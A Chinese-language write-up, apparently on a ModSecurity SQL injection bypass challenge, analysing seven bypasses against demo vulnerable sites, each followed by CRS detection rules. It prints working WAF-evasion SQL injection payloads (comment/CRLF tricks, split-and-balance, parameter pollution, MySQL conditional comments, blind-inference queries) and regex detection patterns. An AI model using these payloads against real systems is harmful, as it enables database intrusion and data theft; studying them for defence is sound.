-
目标应用系统:
Acunetix
Acuart
Site
-
-
注入点:
http
:
//www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=1';
0×1:
分析:
注入点很明显，通过测试可以知道这个注入点为数字型的注入，各种拼接都可以进行，但是普通的注入方法无一例外都会触发Mod的拦截规则。
这里采用mysql注释+CRLF绕过思路来进行注入
1) "#"用于单行注释
2) "– "用于单行注释，但要注意使用这种风格的注释符必须保证在"双横线"后面跟上一个"空格或控制符Control
Char(控制符可以是空格, Tab制表符,
换行符Newline…)"(在使用的时候要注意URL编码，例如换行符的URL编码为%0D%0A)。关于这种"Double
Dash注释符"在Mysql的官方文档中还有一点细节要注意(重点就是新版的Mysql解析引擎的改进避免了"基于减号导致的注释型注入")
3) "/* */"C风格的注释符，这种注释允许跨行注释(即允许在注释符中添加换行符，例如: /*..%0D%0A..*/)
mysql
>
SELECT
1
+
1
;
# This comment continues to the end of line
mysql
>
SELECT
1
+
1
;
--
This
comment continues to the
end
of line
mysql
>
SELECT
1
/* this is an in-line comment */
+
1
;
mysql
>
SELECT
1
+
/*
this is a
multiple-line comment
*/
1
;
回到我们的注入点上来看看，我们使用mysql注释+CRLF来进行payload的构造(注意URL编码):
-
http
:
//www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
-
http
://
www
.
modsecurity
.
org
/
testphp
.
vulnweb
.
com
/
artists
.
php
?
artist
=
0
div
1
union
#foo*/*bar
-
select
#foo
-
1
,
2
,
current_user
对其URL转义如下(注意换行符的解析):
0
div
1
union
#foo*/*bar
select
#foo
1
,
2
,
current_user
这句sql语句到了Mysql的解析引擎后会再次被解析为:
0
div
1
union
select
1
,
2
,
current_user
可以看到，注释符之间进行了就近原则的交错组合，Mysql的Sql Parser则选择进行了忽略。
而ModSecurity CRS的规则如下:
注意到这个":replaceComments"，我们知道，ModSecurity使用正则表达式来对Input Sql进行匹配检测，对Select、Union在敏感位置的出现都进行了拦截，但是ModSecurity有一个特点(或者叫优点)，它会对输入进行" 规范化"，规范化的本意本来是防御"基于编码格式、解析顺序"的绕过的。
例如:
Mod可以抵抗这种形式的绕过:
SEL
/**/
ECT
在"规范化"之后，攻击者的本来目的就暴露在了Mod的检测下，这个时候再上规则就可以检测出来了，可以说，规范化是一个很好的防御思路。
但是这里却导致了另一种的"绕过"
问题的关键就在于ModSecurity对注释的理解和Mysql的解析引擎理解不同，(老问题: 同一个业务规则在不同的系统中的理解语义不同往往可能导致绕过)
:
replaceComments
Unterminated
comments will also be replaced with a space
(
ASCII
0x20
).
However
,
a standalone termination of a comment
(*/)
will not be acted upon
.
也就是说，Mod会忽略前向半开注释并把后向半开注释当成单行注释(如果它没有找到后向半开的闭合注释时)
Mod的拦截日志中可以看到如下记录:
这样，在Mod看来，我们输入的Payload就变成了:
"0 div 1 union#foo* "
但是在Mysql看来，我们的sql语句其实是:
0
div
1
union
select
1
,
2
,
current_user
防御方法:
1) 将原来的去除注释方法改为对SQL注释的匹配
#
# -=[ Detect SQL Comment Sequences ]=-
#
SecRule
REQUEST_COOKIES
|
REQUEST_COOKIES_NAMES
|
REQUEST_FILENAME
|
ARGS_NAMES
|
ARGS
|
XML
:
/* \
"(\/\*\!?|\*\/|\-\-[\s\r\n\v\f]|(?:--[^-]*-)|([^\-&])#.*[\s\r\n\v\f]|;?\\x00)" \
"phase:2,rev:'2.2.2',id:'981231',t:none,t:urlDecodeUni,block,msg:'SQL Comment Sequence Detected.',capture,logdata:'%{tx.0}',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.sql_injection_score=+1,setvar:'tx.msg=%{rule.msg}',setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
但是这种方法从本质上又回到了"黑名单模式"的范畴中，有可能再次导致别的形式的绕过
2) 使用多行匹配(MultiMatch Action)+规范化方法(ReplaceComments）
SecRule
REQUEST_COOKIES
|
REQUEST_COOKIES_NAMES
|
REQUEST_FILENAME
|
ARGS_NAMES
|
ARGS
|
XML
:
/* "(?i:\buser_tables\b)" \
"phase:2,rev:'2.2.2',capture,multiMatch,t:none,t:urlDecodeUni,t:replaceComments,ctl:auditLogParts=+E,block,msg:'Blind SQL Injection Attack',id:'959918',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.
0×2:
-
目标应用系统:
Cenzic
Crack
Me
Bank
-
-
注入点:
http
:
//www.modsecurity.org/Kelev/php/accttransaction.php (POST)
注入Payload:
绕过分析:
这里采用了"碎片注入法(分段SQL注入)"，或者是我们常说的"Split And Balance原则"。例如:
对于最简单的情况，可以使用字符串连接技术将较小的部分构造成一个字符串。不同的数据库使用不同的语法来构造字符串
oracle
:
'selec'
||
't'
sqlserver
:
'selec'
+
''
;
mysql
:
'selec'
+
't'
(这就是所谓的
split and balance
思想)
还要注意的是，加号和空格要先进行
URL
编码后再发送
这种技术的好处是可以将原本完整的Payload分成几段，利用ModSecurity对SQL语义的理解不全来进行规则绕过。常常用于进行"二值逻辑"的盲注推理。
回到注入点上来看:
对于Mod来说，我们的攻击Payload为:
hUserId
=
22768
&
FromDate
=
a1
%
27
+
or
&
ToDate
=%
3C
%
3Eamount
+
and
%
27
&
sendbutton1
=
Get
+
Statement
-
hUserId
=
22768
&
FromDate
=
a1
' or&ToDate=<>amount and'
&
sendbutton1
=
Get
Statement
而对于Mysql的解析引擎来说，它会自动去除、转换这些连接控制符，从而变成:
-
hUserId
=
22768
&
FromDate
=
a1
%
27
+
or
&
ToDate
=<>
amount
and
%
27
&
sendbutton1
=
Get
Statement
防御方法:
1) 这里有个概念叫"String Termination/Statement Ending Injection
Testing"。攻击者在进行SQL注入检测的时候常常会使用一些"终止符"，例如单引号、NULL等等，并通过观察页面是否报错来获知当前页面是否存
在注入点。
为了防御这种注入，可以使用以下CRS规则:
#
# -=[ String Termination/Statement Ending Injection Testing ]=-
#
# Identifies common initial SQLi probing requests where attackers insert/append
# quote characters to the existing normal payload to see how the app/db responds.
#
SecRule
REQUEST_COOKIES
|
REQUEST_COOKIES_NAMES
|
REQUEST_FILENAME
|
ARGS_NAMES
|
ARGS
|
XML
:/*
\
"(?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|xor|rlike|regexp|isnull)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:xor|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary))"
\
"phase:2,rev:'2.2.2',capture,t:none,t:urlDecodeUni,block,msg:'SQL Injection Attack: SQL Operator Detected',id:'981212',logdata:'%{TX.0}',severity:'2',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.notice_anomaly_score},setvar:tx.anomaly_score=+%{tx.notice_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
2) 注意到我们的攻击Payload中一个Mysql逻辑运算符: "<>"。攻击者可以利用逻辑运算符进行"盲注推理"。例如，我们常见的传统盲注手段:
and
(
ascii
(
substring
((
select username from admin
),
1
,
1
)))>
97
(这种就是将逐个字符转成
ASCII
值然后用二分查找法进行猜测)
UPDATE table SET views
=
'1'
WHERE id
=
-
2441
OR
(
ORD
(
MID
((
SELECTIFNULL
(
CAST
(
FirstName
AS CHAR
),
0x20
)
FROM nowamagic
.
`tb2`
ORDER BY id LIMIT
1
,
1
),
2
,
1
))>
112
)#
(同样的思路，换了一个函数)
为了防御这种注入，我们可以使用以下CRS规则
#
# -=[ SQL Operators ]=-
#
SecRule
REQUEST_COOKIES
|
REQUEST_COOKIES_NAMES
|
REQUEST_FILENAME
|
ARGS_NAMES
|
ARGS
|
XML
:/*
\
"(?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|xor|rlike|regexp|isnull)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:xor|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary))"
\
"phase:2,rev:'2.2.2',capture,t:none,t:urlDecodeUni,block,msg:'SQL Injection Attack: SQL Operator Detected',id:'981212',logdata:'%{TX.0}',severity:'2',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.notice_anomaly_score},setvar:tx.anomaly_score=+%{tx.notice_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
0×3:
-
目标应用系统:
IBM demo
.
testfire
.
net site
-
-
注入点:
http
:
//www.modsecurity.org/bank/login.aspx (POST)
注入Payload:
这里使用了HPP(HTTP Parameter Pollution)注入技术，关于HPP，有很多相关的资料:
-
http
:
//www.80sec.com/%E6%B5%85%E8%B0%88%E7%BB%95%E8%BF%87waf%E7%9A%84%E6%95%B0%E7%A7%8D%E6%96%B9%E6%B3%95.html
-
-
http
:
//www.freebuf.com/articles/web/5908.html
-
-
http
:
//hi.baidu.com/aullik5/item/860da508a90709843c42e2ca
-
-
http
:
//hi.baidu.com/4b5f5f4b/item/abc28dda72c100f154347f36
-
-
https
:
//www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
-
回到我们的注入Payload上来，我们注意到after这个字段出现了3次，其中后2次的出现其实是产生了逗号的作用，以此来进行绕过。要注意的一点是，HPP攻击和具体的应用系统环境有很大关系，在不同的系统上表现不太一致:<处理方式不一样>
-
https
:
//www.trustwave.com/spiderlabs/advisories/TWSL2011-006.txt
防御方法:
我们可以采用以下的CRS规则来防御HPP攻击:
# -=[ Rules Logic }=-
# The ruleset below is not looking for attacks directly, but rather is a crude normalization
# function that mimics ASP.NET with regards to joining the payloads of parameters with the
# same name. These rules will create a new TX:HPP_DATA variable that will hold this data.
# If you have enabled PARANOID_MODE, then this variable data will also be searched against
# attack filters.
#
# -=[ References ]=-
# http://tacticalwebappsec.blogspot.com/2009/05/http-parameter-pollution.html
#
SecRule
ARGS
"^"
"chain,phase:2,t:none,nolog,pass,capture,id:'900032',rev:'2.2.9',setvar:tx.%{matched_var_name}=+1"
SecRule
TX
:/^
ARGS
:/
"@gt 1"
"chain,t:none"
SecRule
MATCHED_VARS_NAMES
"TX:(ARGS:.*)"
"chain,capture,t:none,setvar:tx.hpp_names=%{tx.1}"
SecRule
ARGS
".*"
"chain,t:none,capture,setvar:tx.arg_counter=+1,setvar:'tx.hppnamedata_%{tx.arg_counter}=%{matched_var_name}=%{tx.0}'"
SecRule
TX
:/
HPPNAMEDATA_
/
"@contains %{tx.hpp_names}"
"chain,setvar:tx.hpp_counter=+1,setvar:tx.hpp_counter_%{tx.hpp_counter}=%{matched_var}"
SecRule
TX
:/
HPP_COUNTER_
/
"ARGS:(.*)?=(.*)"
"capture,setvar:'tx.hpp_data=%{tx.hpp_data},%{tx.2}'"
0×4:
-
目标应用系统:
Cenzic
Crack
Me
Bank
-
-
注入点:
http
:
//www.modsecurity.org/Kelev/php/accttransaction.php (POST)
注入Payload:
思路分析:
这里采用了"半开注释符(Unterminated Comments)"+"Mysql注释符代码执行(MySQL Comment Extensions for conditional code execution)"技术来进行绕过
半开注释符我们之前说过了，是利用Mod的replaceComments来进行敏感关键字的绕过。而"Mysql注释符代码执行"则是Mysql的一个运行机制。
Mysql的官方文档如下:
MySQL
Server
supports some variants of C
-
style comments
.
These
enable you to write code that includes
MySQL
extensions
,
but is still portable
,
by using comments of the following form
:
(
Mysql
允许
C
风格的注释符，并允许在其中写入
Mysql
扩展，即插入可执行
sql
代码)
/*! MySQL-specific code */
Mysql的Paerser引擎会自动解析这种格式中的sql代码，同时其他的数据库(例如MSSQL、ORACLE会自动忽略这些注释)，也就是说，这是Mysql特有的特性:
select
1
union
/*!select */
version
();
select
1
union
/*!32302 select */
version
();
防御方法:
和 0×1 一样，采用使用多行匹配(MultiMatch Action)+规范化方法(ReplaceComments）
0×5:
-
目标应用系统:
IBM demo
.
testfire
.
net site
-
-
注入点:
http
:
//www.modsecurity.org/bank/login.aspx (COOKIE)
注入Payload:
注入分析:
注入点并没有什么特别的，关键在与这里采用了COOKIE注入
防御方法:
关于这个COOKIE注入，我想延伸几点想法:
-
在注入点的选择中，HTTP中的任何字段、任何位置都"有可能"产生SQL注入，这里只能说有可能，因为是否能否产生注入，和具体的应用系统的环境有关，即应用系统会使用哪些字段带入数据进行执行
-
"GPCS"的作用:
在php.ini中有一项配置: variables_order = "GPCS"(具体的顺序和字符和具体你的配置有关)
如果在php.ini中开启了"register_globals"这个选项，则PHP会按
照"$GET"、"$POST"、"$COOKIE"、"SERVER"的顺序来把这些全局数据中国的子键抽取出来，注册到本地变量的的符号表中，即全局
变量本地化。这个顺序很重要，这往往是很多本地变量覆盖漏洞利用的关键
3. HTTP中的任意位置都有可能产生SQL注入，看下面的例子:
-
http
:
//sebug.net/vuldb/ssvid-8427
-
-
Create
New
Admin
Exploit
FOR php168 v4
.
0SP
这个例子中，注入点发生在"X-FORWARDED-FOR"这个字段中，这本来是应用系统用来做记录登录用户的IP、代理IP的业务功能，但是因为没有过滤严格，导致了注入的发生
0×6:
-
目标应用系统:
Acunetix
Acuart
Site
-
-
注入点:
http
:
//www.modsecurity.org/testphp.vulnweb.com/listproducts.php?artist=1'
注入Payload:
http
://
www
.
modsecurity
.
org
/
testphp
.
vulnweb
.
com
/
artists
.
php
?
artist
=%
40
%
40new
%
20union
%
23sqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsql
%
0Aselect
%
201
,
2
,
database
%
23sqlmap
%
0A
%
28
%
29
-
http
://
www
.
modsecurity
.
org
/
testphp
.
vulnweb
.
com
/
artists
.
php
?
artist
=%
40
%
40new
%
20union
%
23sqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsql
%
0Aselect
%
201
,
2
,
database
%
23sqlmap
%
0A
%
28
%
29
Payload分析:
这里采用了"Mysql注释(MySQL Comment )"+"换行绕过(New Line trick )"的组合方法来进行Mod的绕过(本质上是对Mod所使用的正则表达式的绕过)
在Mod看来，我们的Payload如下:
http
:
//www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=@@new union#sqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsql
select
1
,
2
,
database
#sqlmap
()
然而，当这段SQL代码进入Mysql的解析引擎的时候，Mysql看到的是这样的形式:
artist
=@
@new
union
select
1
,
2
,
database
()
防御方法:
我们知道，SQL(Structure Query Language)是一种及其灵活的命令式语言，各个元素之间的组合可以有很多种，采用正则REGEX的方法来进行匹配常常无法做到精确指导，为了解决这个问题，我们有两种思路
1) 采用高阶的SQL解析方法，例如AST:
-
http
:
//www.cnblogs.com/LittleHann/p/3495602.html
2) 改进正则，采用敏感关键字匹配的方法
SecRule
REQUEST_FILENAME
|
ARGS_NAMES
|
ARGS
|
XML
:/*
\
"([\~\!\@\#\$\%\^\&\*\(\)\-\+\=\{\}\[\]\|\:\;\"\'\′\’\‘\`\<\>].*){4,}"
\
"phase:2,t:none,t:urlDecodeUni,block,id:'981173',rev:'2.2.1',msg:'Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded',capture,logdata:'%{tx.1}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.sql_injection_score=+1,setvar:'tx.msg=%{rule.msg}',setvar:tx.%{rule.id}-WEB_ATTACK/RESTRICTED_SQLI_CHARS-%{matched_var_name}=%{tx.0}"
0×7:
-
目标应用系统:
Acunetix
Acuart
Site
-
-
注入点:
http
:
//www.modsecurity.org/testphp.vulnweb.com/listproducts.php?artist=1'
注入Payload: %0b分隔
Payload分析:
这里采用了"Mysql错误回显"+"Tab键分隔绕过"的组合方法来进行Mod的绕过，这里的关键点是没有使用传统的空格来进行"Split And Balance"。
这里要提的是黑名单思想，对"Split And Balance"的防御如果采用黑名单容易产生绕过:
-
https
:
//docs.google.com/document/d/1rO_LCBKJY0puvRhPhAfTD2iNVPfR4e9KiKDpDE2enMI/edit?pli=1#Allowed_Intermediary_Character_30801873723976314
如果一定要采用黑名单，则必须进行严格的代码审计和测试，保证黑名单的完整性
例如，在
Mysql
中允许的分隔符为:
09
0A
0B
0C
0D
A0
防御方法:
采用完整的"准空格分隔符"黑名单CRS
SecRule
REQUEST_COOKIES
|
REQUEST_COOKIES_NAMES
|
REQUEST_FILENAME
|
ARGS_NAMES
|
ARGS
|
XML
:/*
\
"(?i:(?:,.*[)\da-f(\"|'|`|′|’|‘)](\"|'|`|′|’|‘)(?:(\"|'|`|′|’|‘).*(\"|'|`|′|’|‘)|\Z|[^(\"|'|`|′|’|‘)]+))|(?:\Wselect.+\W*from)|((?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*\(\s*space\s*\())"
\
"phase:2,capture,multiMatch,t:none,t:urlDecodeUni,t:replaceComments,block,msg:'Detects MySQL comment-/space-obfuscated injections and backtick termination',id:'981257',tag:'WEB_ATTACK/SQLI',tag:'WEB_ATTACK/ID',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.id}-%{rule.msg}',setvar:tx.anomaly_score=+5,setvar:'tx.%{tx.msg}-WEB_ATTACK/SQLI-%{matched_var_name}=%{tx.0}',setvar:'tx.%{tx.msg}-WEB_ATTACK/ID-%{matched_var_name}=%{tx.0}'
3. 总结
Blacklist filtering is not enough — 不要依赖黑名单机制
应该使用多种方法进行纵深防御
-
https
:
//www.trustwave.com/application-security/
对输入验证采用安全模型，包括规范化、数据类型，数据格式，数据长度
-
https
:
//www.trustwave.com/web-application-firewall/
WAF作为一个防御手段，从某种程序上来说只是增加了攻击者的攻击成本，并不能从根本上解决注入的发生，要解决注入漏洞的产生，保护敏感数据，必须多管齐下，从应用系统、WAF、数据库防火墙的角度去思考